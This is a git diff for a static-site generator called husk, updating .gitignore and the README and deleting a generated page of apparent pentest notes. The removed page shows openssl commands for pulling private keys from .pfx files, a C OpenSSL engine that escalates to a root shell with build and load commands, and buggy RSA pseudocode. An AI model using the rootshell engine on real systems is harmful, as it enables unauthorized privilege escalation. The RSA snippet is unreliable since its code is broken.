diff --git a/.gitignore b/.gitignore index 64362fc..e30064f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,6 @@ -__pycache__/ -templates/content/ +__pycache__/* +templates/content/* bkp.* poetry.lock -build +build/* diff --git a/README.md b/README.md index 561b451..07e36f9 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,29 @@ # husk -Builds a website of a git repository file structure and markdown files \ No newline at end of file +Builds a website out of a git repository file structure and markdown files + +* `README.md` is your frontpage +* The file structure of your git repository is used as a tree strucuture for the website. Build your website through markdown files in your git repository only +* Parses Markdown only, ignores your scripts and code files. Write documentation in your code repository, let husk deal with the rest +* Search your website's files live and without a database +* Builds a TOC of your markdown file as sections of the website for ease of use + + +## Usage + +To build a static website do the following steps +1. Clone your git repository +2. Put its path into `settings.toml` +3. Run `python3 freezer.py` + +There will be a directory called `build` containing your static website after the script is finished. Copy it to your webserver and enjoy. + +### Debugging + +* Debug as __dynamic website__ via running `./start.sh` and visting `localhost:5000` + +* Debug the __static website__ after you did the build via +```sh +cd build/ +python3 -m http.server +``` diff --git a/build/crypto/openssl/openssl.html b/build/crypto/openssl/openssl.html deleted file mode 100644 index 5eb7611..0000000 --- a/build/crypto/openssl/openssl.html +++ /dev/null @@ -1,271 +0,0 @@ - - -
openssl pkcs12 -in cert.pfx -nocerts -out key.pem -nodes
-openssl pkcs12 -in cert.pfx -out cert.pem -clcerts -nokeys
-mimikatz to cqureopenssl pkcs12 -in *.pfx -out temp.pem -nodes
-openssl pkcs12 -export -out *.pfx -in temp.pem
-Most minimal example
-#include <openssl/engine.h>
-
-static int bind(ENGINE *e, const char *id)
-{
- return 1;
-}
-
-IMPLEMENT_DYNAMIC_BIND_FN(bind)
-IMPLEMENT_DYNAMIC_CHECK_FN()
-#include <openssl/engine.h>
-#include <unistd.h>
-
-static int bind(ENGINE *e, const char *id)
-{
- setuid(0);
- setgid(0);
- system("/bin/bash");
-}
-
-IMPLEMENT_DYNAMIC_BIND_FN(bind)
-IMPLEMENT_DYNAMIC_CHECK_FN()
-gcc -fPIC -o rootshell.o -c rootshell.c
-gcc -shared -o rootshell.so -c -lcrytpo rootshell.o
-openssl engine -t `pwd`/rootshell.so
-p * q = nThere is also = (p-1) * (q-1)
-Encryption, public key e is a prime between 2 and phi -->
-
possible_e = []
-for i in range (2, phi):
- if gcd(n, i) == 1 and gcd(phi, i) == 1:
- possible_e.append()
-d -->
-possible_d = []
-for i in range (phi + 1, phi + foo):
- if i * e mod phi == 1 :
- possible_d.append()
-def gcd(a, b):
- if b == 0:
- return a
- return gcd(b, a % b)
-
Social_engineering